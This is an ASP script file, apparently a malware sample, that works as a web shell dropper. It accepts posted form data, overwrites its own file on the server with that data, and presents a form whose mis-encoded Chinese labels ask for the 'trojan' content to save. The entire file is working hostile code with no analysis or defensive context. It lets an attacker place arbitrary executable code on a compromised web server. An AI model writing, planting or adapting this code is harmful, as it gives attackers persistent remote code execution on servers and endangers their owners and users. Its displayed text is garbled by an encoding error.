4fd3993faed933704bb847b2b2ff79336ce0c656.asp

<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("cyfddata"))<>"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(server.mappath(Request.ServerVariables

("SCRIPT_NAME")),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.redirect (Request.ServerVariables("SCRIPT_NAME"))%>
<% else %>
<% response.write "<font color=red>ʧ°Ü</font>" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
<% Response.write "<form action='' method=post>" %>
<% Response.write "ÊäÈëÂíµÄÄÚÈÝ:" %>
<% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %>
<% Response.write "<input type=submit value=±£´æ>" %>
<% Response.write "</form>" %>